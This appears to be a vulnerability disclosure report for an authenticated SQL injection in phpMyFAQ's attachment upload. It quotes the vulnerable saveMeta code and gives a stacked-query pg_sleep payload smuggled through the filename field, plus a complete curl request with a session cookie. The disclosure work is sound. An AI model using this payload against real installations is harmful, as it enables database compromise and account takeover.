Authenticated SQL injection via filename & update-instance parameters in thorsten/phpmyfaq
Reported on
Nov 4th 2022
There is a SQL injection vulnerability inside saveMeta
function in AttachmentAbstract.php
. When a file is being uploaded via admin/index.php?action=ajax&ajax=att&ajaxaction=upload
endpoint, the filename
parameter isn't being sanitized and its later on interpolated into a raw SQL query inside saveMeta
method:
public function saveMeta(): int
{
$attachmentTableName = sprintf('%sfaqattachment', Database::getTablePrefix());
if (null == $this->id) {
$this->id = $this->db->nextId($attachmentTableName, 'id');
$sql = sprintf(
"
INSERT INTO
%s
(id, record_id, record_lang, real_hash, virtual_hash,
password_hash, filename, filesize, encrypted, mime_type)
VALUES
(%d, %d, '%s', '%s', '%s', '%s', '%s', %d, %d, '%s')",
$attachmentTableName,
$this->id,
$this->recordId,
$this->recordLang,
$this->realHash,
$this->virtualHash,
$this->passwordHash,
$this->filename, // Unsanitzed user-input reaches here
$this->filesize,
$this->encrypted ? 1 : 0,
$this->mimeType
);
$this->db->query($sql);
}
return $this->id;
}
A PoC time-based SQL injection can be performed using the following payload (on PostgreSQL):
filename="pwn.jpg', 4, 0, '');SELECT pg_sleep(5); --"
Or in cURL format (Don't forget to change your session-cookie):
curl -i -s -k -X $'POST' \
-H $'Host: 172-104-147-158.ip.linodeusercontent.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: multipart/form-data; boundary=---------------------------156342635528385942741366206735' -H $'Content-Length: 504' -H $'Origin: https://172-104-147-158.ip.linodeusercontent.com' -H $'Referer: https://172-104-147-158.ip.linodeusercontent.com/phpmyfaq/admin/index.php?action=editentry&id=2&lang=en' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' -H $'Connection: close' \
-b $'PHPSESSID=7j1aae9rdcm84771qmdieku9hn' \
--data-binary $'-----------------------------156342635528385942741366206735\x0d\x0aContent-Disposition: form-data; name=\"filesToUpload[]\"; filename=\"pwn.jpg\', 4, 0, \'\');SELECT pg_sleep(5); --\"\x0d\x0aContent-Type: image/jpeg\x0d\x0a\x0d\x0ablah\x0d\x0a-----------------------------156342635528385942741366206735\x0d\x0aContent-Disposition: form-data; name=\"record_id\"\x0d\x0a\x0d\x0a2\x0d\x0a-----------------------------156342635528385942741366206735\x0d\x0aContent-Disposition: form-data; name=\"record_lang\"\x0d\x0a\x0d\x0aen\x0d\x0a-----------------------------156342635528385942741366206735--\x0d\x0a' \
$'https://172-104-147-158.ip.linodeusercontent.com/phpmyfaq/admin/index.php?action=ajax&ajax=att&ajaxaction=upload'
The following query gets ran across the database:
INSERT INTO faqattachment (id, record_id, record_lang, real_hash, virtual_hash, password_hash, filename, filesize, encrypted, mime_type) VALUES (5, 2, 'en', '6f1ed002ab5595859014ebf0951522d9', '', '', 'pwn.jpg', 4, 0, '');SELECT pg_sleep(5); --', 4, 0, ''
Please see occurrences section for a second another SQL injection via name updateinstance
parameter .
Impact
Since this SQL injection requires admin privileges the impact is limited. But generally, the impact of this vulnerability entirely depends on the database engine used. For MySQL database engine - this vulnerability is not that devastating since MySQL PHP adapter forbids stacked queries.
However, when using PostgreSQL as a back-end, it becomes possible to execute stacked queries, take-over accounts and even achieve RCE in some configurations.